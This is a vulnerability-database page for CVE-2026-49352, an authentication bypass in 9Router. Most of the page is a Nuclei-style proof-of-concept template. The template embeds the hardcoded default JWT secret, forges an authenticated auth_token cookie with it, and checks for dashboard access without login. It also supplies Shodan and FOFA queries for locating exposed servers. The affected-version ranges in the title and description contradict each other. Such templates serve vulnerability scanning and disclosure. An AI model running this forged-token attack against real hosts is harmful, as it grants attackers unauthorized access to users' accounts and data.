CVE-2026-49352: 9router 0.2.21-0.4.41 - Hardcoded JWT Secret Authentication Bypass

2026-11-29 PoC Public

Description

9Router 0.2.21 to 0.4.44 contains a broken authentication caused by a hardcoded fallback JWT secret in authentication components, letting attackers forge auth_token cookies, exploit requires JWT_SECRET to be unset.

Details

CVE
CVE-2026-49352 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-49352

info:
  name: 9router 0.2.21-0.4.41 - Hardcoded JWT Secret Authentication Bypass
  author: s4e-io
  severity: critical
  description: |
    9Router 0.2.21 to 0.4.44 contains a broken authentication caused by a hardcoded fallback JWT secret in authentication components, letting attackers forge auth_token cookies, exploit requires JWT_SECRET to be unset.
  impact: |
    Attackers can forge authentication tokens, allowing unauthorized access to user accounts and sensitive data.
  remediation: |
    Update to version 0.4.44 or later.
  reference:
    - https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx
    - https://github.com/decolua/9router/commit/fe3ce25ae3cda48c0702c2d452e17f6ec214009d
    - https://github.com/decolua/9router/releases/tag/v0.4.44
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-49352
    epss-score: 0.02193
    epss-percentile: 0.83194
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    vendor: decolua
    product: 9router
    shodan-query: http.html:"9Router"
    fofa-query: body="9Router"
  tags: cve,cve2026,9router,auth-bypass,jwt,hardcoded-credentials,unauth

variables:
  secret: "9router-default-secret-change-me"
  payload: '{"authenticated":true,"iat":{{unix_time()}},"exp":{{unix_time(3600)}}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dashboard HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 307'
          - 'contains(location, "/login")'
        condition: and
        internal: true

  - raw:
      - |
        GET /dashboard HTTP/1.1
        Host: {{Hostname}}
        Cookie: auth_token={{generate_jwt(payload,"HS256",secret)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<title>9Router", "app/(dashboard)/dashboard/page")'
          - '!contains(body, "app/login/page")'
        condition: and
# digest: 4b0a00483046022100bacc3196d3a09daa1616c720ae2a2fa357ba5035e7e6bae6fc51c76e0b34f5ed022100f1f58835f3c2c99e84e40dc7b7de9495ecc5d59a2f45ddf7720fd7858921894c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life